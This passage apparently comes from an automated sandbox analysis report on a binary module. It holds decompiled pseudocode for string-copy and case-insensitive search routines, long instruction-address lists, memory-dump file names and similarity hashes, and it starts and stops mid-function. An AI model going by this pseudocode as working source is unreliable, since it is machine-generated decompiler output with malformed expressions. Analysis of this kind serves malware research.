													 *(_t317 + _t428 * 4 - 2) = _t365;
													__eflags = _t365;
													if(_t365 == 0) {
														goto L63;
													}
													_t366 =  *(_t298 + _t428 * 4) & 0x0000ffff;
													 *(_t317 + _t428 * 4) = _t366;
													__eflags = _t366;
													if(_t366 != 0) {
														continue;
													}
													goto L63;
												}
											}
										}
										L63:
										_push(2);
										_push(_t298);
										E6E6610B0();
										_t481 = _t481 + 8;
									}
									L124:
									_t250 = _a4;
									 *_t250 = _t317;
									_t250[1] = 0x40;
								}
								goto L125;
							}
							L157:
							_t463 = _v40;
							goto L56;
						}
					} else {
						goto L40;
					}
				}
				L125:
				_push(2);
				_push(_v64);
				E6E6610B0();
				_v64 = 0;
				_v60 = 0;
				return _a4;
				goto L180;
			}

0x6e66ae8e
0x6e66ae92
0x6e66ae94
0x6e66ae98
0x6e66aea2
0x6e66aea4
0x6e66aea7
0x6e66aead
0x6e66aee7
0x6e66aee9
0x6e66aeaf
0x6e66aeb1
0x6e66aeb3
0x6e66aeb6
0x6e66aebb
0x6e66aebf
0x6e66aebf
0x6e66aec0
0x6e66aec5
0x6e66aecc
0x00000000
0x00000000
0x6e66aece
0x6e66aed2
0x6e66aed8
0x00000000
0x00000000
0x00000000
0x6e66aed8
0x6e66aebf
0x6e66aebb
0x6e66aeda
0x6e66aeda
0x6e66aedc
0x6e66aedd
0x6e66aee2
0x6e66aee2
0x6e66aef0
0x6e66aef8
0x6e66aefe
0x6e66af09
0x6e66af0b
0x6e66b6df
0x6e66b6e4
0x6e66af11
0x6e66af13
0x6e66af13
0x6e66af16
0x6e66af36
0x6e66af3a
0x6e66af46
0x6e66af46
0x6e66af4c
0x6e66af4c
0x6e66af51
0x6e66af55
0x6e66af59
0x6e66af5b
0x00000000
0x00000000
0x6e66af61
0x6e66af64
0x6e66af66
0x00000000
0x6e66af68
0x6e66af68
0x6e66af6e
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66af6e
0x00000000
0x6e66af66
0x6e66b6d3
0x6e66b6d8
0x00000000
0x6e66af18
0x6e66af18
0x6e66af1a
0x6e66af1c
0x6e66af70
0x6e66af70
0x6e66af74
0x6e66af76
0x00000000
0x00000000
0x6e66af7c
0x6e66af7d
0x6e66af83
0x00000000
0x6e66af85
0x6e66af85
0x6e66af85
0x6e66af8a
0x6e66af8a
0x00000000
0x6e66af83
0x00000000
0x6e66af1e
0x6e66af23
0x6e66af23
0x6e66af25
0x6e66af25
0x6e66af29
0x6e66af2b
0x00000000
0x00000000
0x6e66af31
0x6e66af32
0x6e66af34
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66af34
0x6e66b458
0x6e66b458
0x6e66b45b
0x6e66b46b
0x6e66b45d
0x6e66b45f
0x6e66b462
0x6e66b462
0x6e66b45b
0x6e66af1c
0x6e66af16
0x6e66af8f
0x6e66af94
0x6e66af94
0x6e66af97
0x6e66af9a
0x6e66af9d
0x6e66af9f
0x6e66afb4
0x6e66afb7
0x6e66afb7
0x6e66afbd
0x6e66afc5
0x6e66afc5
0x6e66afc5
0x6e66afc6
0x6e66afd0
0x6e66afd7
0x6e66afd8
0x6e66afe0
0x6e66afe2
0x6e66afe5
0x6e66afe9
0x6e66afeb
0x6e66b033
0x6e66b035
0x6e66afed
0x6e66afed
0x6e66afef
0x6e66aff1
0x6e66aff4
0x6e66aff7
0x6e66aff9
0x6e66affb
0x6e66affe
0x6e66affe
0x6e66b000
0x6e66b000
0x6e66b001
0x6e66b006
0x6e66b00b
0x6e66b00d
0x00000000
0x00000000
0x6e66b00f
0x6e66b013
0x6e66b017
0x6e66b019
0x00000000
0x00000000
0x00000000
0x6e66b019
0x6e66b01b
0x6e66b01b
0x6e66aff9
0x6e66b01e
0x6e66b020
0x6e66b021
0x6e66b025
0x6e66b02a
0x6e66b02e
0x6e66b02e
0x6e66b038
0x6e66b03c
0x6e66afa1
0x6e66afa1
0x6e66afa1
0x6e66b044
0x6e66b048
0x6e66b04e
0x6e66b052
0x6e66af00
0x6e66af00
0x6e66af00
0x6e66b057
0x6e66b059
0x6e66b05f
0x6e66b068
0x6e66b068
0x6e66b06d
0x6e66b072
0x6e66b074
0x6e66b07c
0x6e66b07e
0x6e66b084
0x6e66b088
0x6e66b0c7
0x6e66b08a
0x6e66b08c
0x6e66b08e
0x6e66b091
0x6e66b096
0x6e66b098
0x6e66b09a
0x6e66b09a
0x6e66b09b
0x6e66b0a0
0x6e66b0a7
0x00000000
0x00000000
0x6e66b0a9
0x6e66b0ad
0x6e66b0b3
0x00000000
0x00000000
0x00000000
0x6e66b0b3
0x6e66b09a
0x6e66b096
0x6e66b0b5
0x6e66b0b5
0x6e66b0b7
0x6e66b0b8
0x6e66b0bd
0x6e66b0bd
0x00000000
0x6e66b061
0x6e66b061
0x6e66b066
0x6e66b0cf
0x6e66b0d5
0x6e66b0da
0x6e66b0dc
0x6e66b66c
0x6e66b671
0x6e66b676
0x6e66b678
0x6e66b680
0x6e66b682
0x6e66b688
0x6e66b68a
0x6e66b68c
0x6e66b6cb
0x6e66b68e
0x6e66b68e
0x6e66b690
0x6e66b692
0x6e66b695
0x6e66b698
0x6e66b69a
0x6e66b69c
0x6e66b69c
0x6e66b69e
0x6e66b69e
0x6e66b69f
0x6e66b6a4
0x6e66b6a9
0x6e66b6ab
0x00000000
0x00000000
0x6e66b6ad
0x6e66b6b1
0x6e66b6b5
0x6e66b6b7
0x00000000
0x00000000
0x00000000
0x6e66b6b7
0x6e66b69e
0x6e66b69a
0x6e66b6b9
0x6e66b6b9
0x6e66b6bb
0x6e66b6bc
0x6e66b6c1
0x6e66b6c1
0x00000000
0x6e66b0e2
0x6e66b0e6
0x6e66b0e9
0x6e66b0ec
0x6e66b0ef
0x6e66b0f3
0x6e66b0f6
0x6e66b0f9
0x6e66b10a
0x6e66b10e
0x6e66b112
0x6e66b116
0x6e66b116
0x6e66b118
0x6e66b11c
0x6e66b11c
0x6e66b11e
0x6e66b120
0x6e66b120
0x6e66b123
0x00000000
0x00000000
0x6e66b12d
0x6e66b12f
0x00000000
0x6e66b135
0x6e66b135
0x6e66b139
0x6e66b13b
0x6e66b13e
0x6e66b13e
0x6e66b144
0x6e66b147
0x6e66b14d
0x6e66b150
0x6e66b154
0x6e66b15b
0x6e66b15e
0x6e66b161
0x00000000
0x00000000
0x6e66b16b
0x6e66b16d
0x00000000
0x6e66b16f
0x6e66b16f
0x6e66b16f
0x6e66b172
0x6e66b172
0x00000000
0x6e66b16d
0x6e66b49c
0x6e66b4a0
0x6e66b4a4
0x6e66b4a8
0x6e66b4ba
0x6e66b4ba
0x6e66b4bc
0x6e66b4be
0x00000000
0x00000000
0x6e66b4c0
0x6e66b4c0
0x6e66b4c2
0x6e66b4c4
0x6e66b537
0x6e66b537
0x6e66b53b
0x6e66b53f
0x6e66b543
0x6e66b545
0x00000000
0x00000000
0x6e66b54b
0x6e66b54c
0x6e66b552
0x00000000
0x6e66b554
0x6e66b554
0x00000000
0x6e66b554
0x00000000
0x6e66b552
0x6e66b64d
0x00000000
0x6e66b4c6
0x6e66b4c6
0x6e66b4ca
0x6e66b4cc
0x6e66b4d0
0x6e66b4d4
0x6e66b4d8
0x6e66b4da
0x00000000
0x00000000
0x6e66b4e0
0x6e66b4e1
0x6e66b4e3
0x00000000
0x6e66b4e5
0x6e66b4e5
0x6e66b4e9
0x00000000
0x6e66b4e9
0x00000000
0x6e66b4e3
0x6e66b5c5
0x6e66b5c9
0x6e66b5cd
0x6e66b5cd
0x6e66b5cf
0x6e66b558
0x6e66b558
0x00000000
0x6e66b5d1
0x6e66b5d1
0x6e66b55d
0x6e66b55d
0x6e66b561
0x6e66b561
0x6e66b563
0x6e66b567
0x6e66b56b
0x6e66b56f
0x6e66b56f
0x6e66b57a
0x6e66b57e
0x6e66b584
0x6e66b587
0x6e66b58d
0x6e66b593
0x6e66b596
0x6e66b599
0x00000000
0x00000000
0x6e66b59d
0x6e66b59f
0x6e66b5ab
0x6e66b5ab
0x6e66b5af
0x6e66b5af
0x6e66b5b1
0x00000000
0x6e66b5a1
0x6e66b5a1
0x6e66b5a2
0x6e66b5a6
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b5a6
0x00000000
0x6e66b59f
0x6e66b5e2
0x6e66b5e6
0x6e66b5ea
0x6e66b5f0
0x6e66b5f0
0x6e66b5f3
0x00000000
0x6e66b5f9
0x6e66b5fd
0x6e66b5ff
0x00000000
0x6e66b605
0x6e66b605
0x6e66b609
0x6e66b609
0x6e66b60b
0x6e66b60f
0x6e66b613
0x6e66b617
0x6e66b617
0x6e66b621
0x6e66b624
0x6e66b62a
0x6e66b631
0x6e66b634
0x6e66b637
0x6e66b63a
0x00000000
0x00000000
0x6e66b644
0x6e66b646
0x00000000
0x6e66b648
0x00000000
0x6e66b648
0x00000000
0x6e66b646
0x6e66b4ae
0x6e66b4b2
0x6e66b4b6
0x6e66b4ba
0x6e66b4bc
0x6e66b4be
0x00000000
0x00000000
0x6e66b4be
0x6e66b5ff
0x6e66b5d3
0x6e66b5d3
0x6e66b5d7
0x6e66b5d9
0x6e66b5dd
0x6e66b5b4
0x6e66b5b4
0x6e66b5b6
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b5b6
0x6e66b5d1
0x6e66b5cf
0x00000000
0x6e66b4ed
0x6e66b4f9
0x6e66b4fd
0x6e66b4fd
0x6e66b503
0x6e66b50b
0x6e66b50b
0x6e66b510
0x6e66b514
0x6e66b518
0x6e66b51a
0x00000000
0x00000000
0x6e66b520
0x6e66b523
0x6e66b525
0x00000000
0x6e66b527
0x6e66b527
0x6e66b52b
0x6e66b52f
0x6e66b535
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b535
0x00000000
0x6e66b525
0x6e66b658
0x6e66b65d
0x6e66b661
0x6e66b663
0x00000000
0x6e66b663
0x6e66b4ba
0x6e66b176
0x6e66b176
0x6e66b176
0x6e66b178
0x6e66b17a
0x6e66b1e3
0x6e66b1e5
0x6e66b495
0x6e66b1eb
0x6e66b1ed
0x6e66b1ed
0x6e66b1f0
0x6e66b20c
0x6e66b218
0x6e66b218
0x6e66b21e
0x6e66b21e
0x6e66b223
0x6e66b227
0x6e66b22b
0x6e66b22d
0x00000000
0x00000000
0x6e66b233
0x6e66b236
0x6e66b238
0x00000000
0x6e66b23a
0x6e66b23a
0x6e66b240
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b240
0x00000000
0x6e66b238
0x6e66b489
0x6e66b48e
0x6e66b1f2
0x6e66b1f2
0x6e66b1f4
0x6e66b1f6
0x6e66b242
0x6e66b242
0x6e66b246
0x6e66b248
0x00000000
0x00000000
0x6e66b24a
0x6e66b24b
0x6e66b251
0x00000000
0x6e66b253
0x6e66b253
0x6e66b253
0x6e66b253
0x00000000
0x6e66b251
0x6e66b1f8
0x6e66b1fd
0x6e66b1fd
0x6e66b1ff
0x6e66b1ff
0x6e66b203
0x6e66b205
0x00000000
0x00000000
0x6e66b207
0x6e66b208
0x6e66b20a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b20a
0x6e66b1ff
0x6e66b1f6
0x6e66b1f0
0x6e66b258
0x6e66b25d
0x6e66b25f
0x6e66b261
0x6e66b263
0x6e66b269
0x6e66b269
0x6e66b265
0x6e66b265
0x6e66b267
0x00000000
0x00000000
0x6e66b267
0x6e66b26b
0x6e66b26e
0x6e66b273
0x6e66b275
0x6e66b278
0x6e66b27a
0x6e66b3d0
0x6e66b3d0
0x6e66b3da
0x6e66b3dc
0x6e66b3e2
0x6e66b3e4
0x6e66b3e6
0x6e66b420
0x6e66b422
0x6e66b3e8
0x6e66b3e8
0x6e66b3ea
0x6e66b3ec
0x6e66b3ef
0x6e66b3f2
0x6e66b3f4
0x6e66b3f6
0x6e66b3f6
0x6e66b3f8
0x6e66b3f8
0x6e66b3f9
0x6e66b3fe
0x6e66b403
0x6e66b405
0x00000000
0x00000000
0x6e66b407
0x6e66b40b
0x6e66b40f
0x6e66b411
0x00000000
0x00000000
0x00000000
0x6e66b411
0x6e66b3f8
0x6e66b3f4
0x6e66b413
0x6e66b413
0x6e66b415
0x6e66b416
0x6e66b41b
0x6e66b41b
0x00000000
0x6e66b280
0x6e66b280
0x6e66b283
0x6e66b285
0x00000000
0x6e66b28b
0x6e66b28b
0x6e66b28d
0x6e66b291
0x6e66b291
0x6e66b294
0x6e66b2b1
0x6e66b2bd
0x6e66b2bd
0x6e66b2c3
0x6e66b2c3
0x6e66b2c8
0x6e66b2cc
0x6e66b2d0
0x6e66b2d2
0x00000000
0x00000000
0x6e66b2d8
0x6e66b2db
0x6e66b2dd
0x00000000
0x6e66b2df
0x6e66b2df
0x6e66b2e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b2e5
0x00000000
0x6e66b2dd
0x6e66b47d
0x6e66b482
0x6e66b296
0x6e66b296
0x6e66b298
0x6e66b29b
0x6e66b2e7
0x6e66b2e7
0x6e66b2eb
0x6e66b2ed
0x00000000
0x00000000
0x6e66b2ef
0x6e66b2f0
0x6e66b2f6
0x00000000
0x6e66b2f8
0x6e66b2f8
0x6e66b2f8
0x6e66b2f8
0x00000000
0x6e66b2f6
0x6e66b29d
0x6e66b2a2
0x6e66b2a2
0x6e66b2a4
0x6e66b2a4
0x6e66b2a8
0x6e66b2aa
0x00000000
0x00000000
0x6e66b2ac
0x6e66b2ad
0x6e66b2af
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b2af
0x6e66b2a4
0x6e66b29b
0x6e66b294
0x6e66b2fd
0x6e66b302
0x6e66b302
0x6e66b305
0x6e66b308
0x6e66b30b
0x6e66b30d
0x6e66b320
0x6e66b323
0x6e66b323
0x6e66b329
0x6e66b331
0x6e66b331
0x6e66b331
0x6e66b332
0x6e66b33c
0x6e66b346
0x6e66b349
0x6e66b34f
0x6e66b351
0x6e66b357
0x6e66b359
0x6e66b35b
0x6e66b395
0x6e66b397
0x6e66b35d
0x6e66b35d
0x6e66b35f
0x6e66b361
0x6e66b364
0x6e66b367
0x6e66b369
0x6e66b36b
0x6e66b36b
0x6e66b36d
0x6e66b36d
0x6e66b36e
0x6e66b373
0x6e66b378
0x6e66b37a
0x00000000
0x00000000
0x6e66b37c
0x6e66b380
0x6e66b384
0x6e66b386
0x00000000
0x00000000
0x00000000
0x6e66b386
0x6e66b36d
0x6e66b369
0x6e66b388
0x6e66b388
0x6e66b38a
0x6e66b38b
0x6e66b390
0x6e66b390
0x6e66b39a
0x6e66b3a0
0x6e66b3a3
0x6e66b30f
0x6e66b30f
0x6e66b30f
0x6e66b3a5
0x6e66b3a7
0x6e66b3ad
0x6e66b3b7
0x6e66b3b7
0x6e66b3ba
0x6e66b3bb
0x6e66b3be
0x6e66b3c0
0x00000000
0x00000000
0x6e66b3c2
0x6e66b3c4
0x6e66b477
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66b3ca
0x6e66b3ca
0x6e66b3cc
0x6e66b3b1
0x6e66b3b4
0x6e66b3b4
0x00000000
0x6e66b3b4
0x00000000
0x6e66b3cc
0x6e66b3b7
0x6e66b3a7
0x6e66b285
0x6e66b17c
0x6e66b17c
0x6e66b181
0x6e66b186
0x6e66b188
0x6e66b190
0x6e66b192
0x6e66b198
0x6e66b19a
0x6e66b19c
0x6e66b1db
0x6e66b19e
0x6e66b19e
0x6e66b1a0
0x6e66b1a2
0x6e66b1a5
0x6e66b1a8
0x6e66b1aa
0x6e66b1ac
0x6e66b1ac
0x6e66b1ae
0x6e66b1ae
0x6e66b1af
0x6e66b1b4
0x6e66b1b9
0x6e66b1bb
0x00000000
0x00000000
0x6e66b1bd
0x6e66b1c1
0x6e66b1c5
0x6e66b1c7
0x00000000
0x00000000
0x00000000
0x6e66b1c7
0x6e66b1ae
0x6e66b1aa
0x6e66b1c9
0x6e66b1c9
0x6e66b1cb
0x6e66b1cc
0x6e66b1d1
0x6e66b1d1
0x6e66b425
0x6e66b425
0x6e66b428
0x6e66b42a
0x6e66b42a
0x00000000
0x6e66b17a
0x6e66b5bc
0x6e66b5bc
0x00000000
0x6e66b5bc
0x00000000
0x00000000
0x00000000
0x6e66b066
0x6e66b431
0x6e66b431
0x6e66b433
0x6e66b437
0x6e66b441
0x6e66b445
0x6e66b455
0x00000000

Strings

@, xrefs: 6E66AEF0

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction ID: 513eb82b00ecc4165f5f87f0d2145b66df59346441fafec0c21c6cf9ce4d7f8b
Opcode Fuzzy Hash: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction Fuzzy Hash: EE42E371624713CBDB548FAAC49022A73E6BFC6714B14862DF9A59B3ADEB74D801C343

Uniqueness

Uniqueness Score: -1.00%

Function 6E66A660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6E66A660(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _t219;
				signed int _t220;
				signed int _t221;
				signed int _t224;
				signed short** _t227;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t237;
				signed int _t238;
				signed int _t240;
				unsigned int _t242;
				signed int _t248;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t260;
				signed int _t263;
				signed int _t264;
				unsigned int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t288;
				signed int _t293;
				signed int _t294;
				signed int _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t309;
				signed int _t312;
				unsigned int _t318;
				signed int _t319;
				signed int _t321;
				signed short* _t323;
				signed int _t324;
				signed int _t325;
				unsigned int _t326;
				signed int _t331;
				signed int _t333;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed short* _t344;
				signed int _t345;
				signed short* _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t356;
				signed int _t362;
				unsigned int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t369;
				signed int _t370;
				signed int _t371;
				signed int _t376;
				signed int _t378;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t403;
				signed int _t404;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed int _t421;
				signed int* _t422;
				signed int _t425;
				signed int _t428;
				signed int _t432;
				signed int _t434;
				signed int _t438;
				signed int _t439;
				signed int _t440;
				signed int _t441;
				signed int _t444;
				void* _t447;

				_t312 = __ecx;
				_t296 = 0;
				_v40 = 0;
				_t398 = __ecx;
				_v36 = 0;
				_push(0x80);
				_t417 = E6E661030();
				_t447 = (_t444 & 0xfffffff0) - 0x34 + 4;
				_t344 = _v40;
				if(_t344 == 0) {
					 *_t417 = 0;
					L8:
					_v36 = 0x40;
					_v40 = _t417;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t417;
						if(_t417 == 0) {
							_t418 = 0x40;
							_t345 = _t296;
							L23:
							_t24 = _t345 + 2; // -2147483652
							_t219 = _t24;
							__eflags = _t219 - 0x40;
							_t220 =  <=  ? 0x40 : _t219;
							__eflags = _t418 - _t220;
							if(_t418 < _t220) {
								_t318 = (_t220 >> 5 >> 0x1a) + _t220 >> 6;
								_t221 = _t220 & 0x8000003f;
								__eflags = _t221;
								if(_t221 < 0) {
									_t221 = (_t221 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t221;
								}
								__eflags = _t221;
								_t319 = _t318 + (_t296 & 0xffffff00 | _t221 > 0x00000000);
								_v64 = _t319 << 6;
								_push(_t319 << 7);
								_v60 = _t345;
								_t224 = E6E661030();
								_t345 = _v60;
								_t421 = _t224;
								_t447 = _t447 + 4;
								_t321 = _v40;
								__eflags = _t321;
								if(_t321 == 0) {
									 *_t421 = _t296;
									goto L36;
								} else {
									__eflags = _t421;
									if(_t421 == 0) {
										L34:
										_push(2);
										_push(_t321);
										_v60 = _t345;
										E6E6610B0();
										_t345 = _v60;
										_t447 = _t447 + 8;
										L36:
										_v36 = _v64;
										_v40 = _t421;
										L37:
										 *((short*)(_t421 + _t345 * 2)) = _a8 & 0x0000ffff;
										_t227 =  &_v40;
										 *( *_t227 + 2 + _t345 * 2) = _t296;
										L38:
										_t346 =  *_t227;
										_t422 = _a4;
										if(_t346 == 0) {
											L40:
											_push(0x80);
											 *_t422 = _t296;
											_t422[1] = _t296;
											_t399 = E6E661030();
											_t447 = _t447 + 4;
											_t323 =  *_t422;
											if(_t323 == 0) {
												 *_t399 = _t296;
												L62:
												 *_t422 = _t399;
												_t422[1] = 0x40;
												L63:
												_push(2);
												_push(_v40);
												E6E6610B0();
												_v40 = _t296;
												_v36 = _t296;
												return _t422;
											}
											if(_t399 == 0) {
												L46:
												_push(2);
												_push(_t323);
												E6E6610B0();
												_t447 = _t447 + 8;
												goto L62;
											}
											_t347 =  *_t323 & 0x0000ffff;
											 *_t399 = _t347;
											if(_t347 == 0) {
												goto L46;
											}
											_t348 = _t296;
											while(1) {
												_t348 = _t348 + 1;
												_t232 =  *(_t323 + _t348 * 4 - 2) & 0x0000ffff;
												 *(_t399 + _t348 * 4 - 2) = _t232;
												if(_t232 == 0) {
													goto L46;
												}
												_t233 =  *(_t323 + _t348 * 4) & 0x0000ffff;
												 *(_t399 + _t348 * 4) = _t233;
												if(_t233 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t234 =  *_t346 & 0x0000ffff;
										if(_t234 != 0) {
											_t324 =  *_t398;
											__eflags = _t324;
											if(_t324 == 0) {
												L54:
												_push(0x80);
												 *_t422 = _t296;
												_t422[1] = _t296;
												_t399 = E6E661030();
												_t447 = _t447 + 4;
												_t325 =  *_t422;
												__eflags = _t325;
												if(_t325 == 0) {
													 *_t399 = _t296;
													goto L62;
												}
												__eflags = _t399;
												if(_t399 == 0) {
													L60:
													_push(2);
													_push(_t325);
													E6E6610B0();
													_t447 = _t447 + 8;
													goto L62;
												}
												_t349 =  *_t325 & 0x0000ffff;
												 *_t399 = _t349;
												__eflags = _t349;
												if(_t349 == 0) {
													goto L60;
												}
												_t350 = _t296;
												while(1) {
													_t350 = _t350 + 1;
													_t237 =  *(_t325 + _t350 * 4 - 2) & 0x0000ffff;
													 *(_t399 + _t350 * 4 - 2) = _t237;
													__eflags = _t237;
													if(_t237 == 0) {
														goto L60;
													}
													_t238 =  *(_t325 + _t350 * 4) & 0x0000ffff;
													 *(_t399 + _t350 * 4) = _t238;
													__eflags = _t238;
													if(_t238 != 0) {
														continue;
													}
													goto L60;
												}
												goto L60;
											}
											__eflags =  *_t324 & 0x0000ffff;
											if(( *_t324 & 0x0000ffff) == 0) {
												goto L54;
											}
											_v32 = _t346;
											__eflags = _t234 - 0x41 - 0x19;
											_t239 =  <=  ? _t234 + 0x20 : _t234;
											_t403 = _t296;
											_t240 = ( <=  ? _t234 + 0x20 : _t234) & 0x0000ffff;
											_v48 = _t240;
											while(1) {
												_t425 =  *(_t324 + _t403 * 2) & 0x0000ffff;
												__eflags = _t425 - 0x41 - 0x19;
												_t426 =  <=  ? _t425 + 0x20 : _t425;
												__eflags = ( <=  ? _t425 + 0x20 : _t425) - _t240;
												if(( <=  ? _t425 + 0x20 : _t425) == _t240) {
													break;
												}
												_t403 = _t403 + 1;
												__eflags =  *(_t324 + _t403 * 2) & 0x0000ffff;
												if(( *(_t324 + _t403 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												L53:
												_t422 = _a4;
												_t296 = 0;
												__eflags = 0;
												goto L54;
											}
											_t352 = _v32;
											_t404 = _t324 + _t403 * 2;
											_t422 = _a4;
											_t296 = 0;
											__eflags = _t404;
											if(_t404 == 0) {
												goto L54;
											}
											_t428 = _t352 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_v64 = _t428;
											_t242 = _t428 & 0x00000001;
											_v52 = _t242;
											_v56 =  ~_t428 + 0x10 >> 1;
											_v60 = _t324;
											_v32 = _t352;
											_t432 = _v64;
											_t299 = _v56;
											_t326 = _t242;
											while(1) {
												L70:
												_t353 = _t432;
												__eflags = _t432;
												if(_t432 == 0) {
													goto L76;
												}
												_t251 = 0;
												__eflags = _t326;
												if(_t326 != 0) {
													L80:
													_t333 = _v32;
													while(1) {
														__eflags =  *(_t333 + _t251 * 2) & 0x0000ffff;
														if(( *(_t333 + _t251 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t251 = _t251 + 1;
														__eflags = _t251 - 0x7fffffff;
														if(_t251 < 0x7fffffff) {
															continue;
														}
														_v32 = _t333;
														L84:
														_t251 = 0x7fffffff;
														L85:
														_v68 = _t251;
														_t354 = 0;
														__eflags = 0;
														while(1) {
															_t302 =  *(_t404 + _t354 * 2) & 0x0000ffff;
															_t434 =  *(_v32 + _t354 * 2) & 0x0000ffff;
															__eflags = _t302 - 0x61 - 0x19;
															_t303 =  <=  ? _t302 - 0x20 : _t302;
															_t253 = ( <=  ? _t302 - 0x20 : _t302) & 0x0000ffff;
															__eflags = _t434 - 0x61 - 0x19;
															_t435 =  <=  ? _t434 - 0x20 : _t434;
															__eflags = _t253 - ( <=  ? _t434 - 0x20 : _t434);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t253;
															if(_t253 == 0) {
																L90:
																_t335 = _v60;
																_t296 = 0;
																_t422 = _a4;
																__eflags = _t404;
																if(_t404 == 0) {
																	goto L54;
																}
																_t406 = _t404 - _t335;
																__eflags = _t406;
																_t407 = _t406 >> 1;
																if(_t406 != 0) {
																	_t257 = _t335 & 0x0000000f;
																	__eflags = _t257;
																	if(_t257 == 0) {
																		L106:
																		_t362 =  ~( ~_t257 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t362;
																		while(1) {
																			asm("movdqu xmm1, [ecx+eax*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb ebx, xmm1");
																			__eflags = _t296;
																			if(_t296 != 0) {
																				break;
																			}
																			_t257 = _t257 + 8;
																			__eflags = _t257 - _t362;
																			if(_t257 < _t362) {
																				continue;
																			}
																			_t296 = 0;
																			__eflags = _t362 - 0x7fffffff;
																			if(_t362 >= 0x7fffffff) {
																				L112:
																				_t362 = 0x7fffffff;
																				L113:
																				_t260 = _t362 >> 0x0000001f & _t362;
																				_t365 = _t362 - _t260;
																				__eflags = _t407;
																				if(_t407 < 0) {
																					L115:
																					_t407 = _t365;
																					L116:
																					 *_t422 = _t296;
																					_t336 = _t335 + _t260 * 2;
																					_t422[1] = _t296;
																					__eflags = _t336;
																					if(_t336 == 0) {
																						L151:
																						_push(0x80);
																						_t399 = E6E661030();
																						_t447 = _t447 + 4;
																						_t337 =  *_t422;
																						__eflags = _t337;
																						if(_t337 == 0) {
																							 *_t399 = _t296;
																							goto L62;
																						}
																						__eflags = _t399;
																						if(_t399 == 0) {
																							L157:
																							_push(2);
																							_push(_t337);
																							E6E6610B0();
																							_t447 = _t447 + 8;
																							goto L62;
																						}
																						_t366 =  *_t337 & 0x0000ffff;
																						 *_t399 = _t366;
																						__eflags = _t366;
																						if(_t366 == 0) {
																							goto L157;
																						}
																						_t367 = _t296;
																						while(1) {
																							_t367 = _t367 + 1;
																							_t263 =  *(_t337 + _t367 * 4 - 2) & 0x0000ffff;
																							 *(_t399 + _t367 * 4 - 2) = _t263;
																							__eflags = _t263;
																							if(_t263 == 0) {
																								goto L157;
																							}
																							_t264 =  *(_t337 + _t367 * 4) & 0x0000ffff;
																							 *(_t399 + _t367 * 4) = _t264;
																							__eflags = _t264;
																							if(_t264 != 0) {
																								continue;
																							}
																							goto L157;
																						}
																						goto L157;
																					}
																					__eflags =  *_t336 & 0x0000ffff;
																					if(( *_t336 & 0x0000ffff) == 0) {
																						goto L151;
																					}
																					__eflags = _t407;
																					if(_t407 != 0) {
																						L131:
																						_t159 = _t407 + 1; // 0x80000000
																						_t369 = _t159;
																						__eflags = _t369 - 0x40;
																						_t370 =  <=  ? 0x40 : _t369;
																						__eflags = _t370;
																						if(_t370 > 0) {
																							_t270 = (_t370 >> 5 >> 0x1a) + _t370 >> 6;
																							_t371 = _t370 & 0x8000003f;
																							__eflags = _t371;
																							if(_t371 < 0) {
																								_t371 = (_t371 - 0x00000001 | 0xffffffc0) + 1;
																								__eflags = _t371;
																							}
																							__eflags = _t371;
																							_t271 = _t270 + (_t296 & 0xffffff00 | _t371 > 0x00000000);
																							_v64 = _t271 << 6;
																							_push(_t271 << 7);
																							_v60 = _t336;
																							_t273 = E6E661030();
																							_t336 = _v60;
																							_t447 = _t447 + 4;
																							_t376 =  *_t422;
																							__eflags = _t376;
																							if(_t376 == 0) {
																								 *_t273 = _t296;
																								goto L143;
																							} else {
																								__eflags = _t273;
																								if(_t273 == 0) {
																									L141:
																									_push(2);
																									_push(_t376);
																									_v68 = _t273;
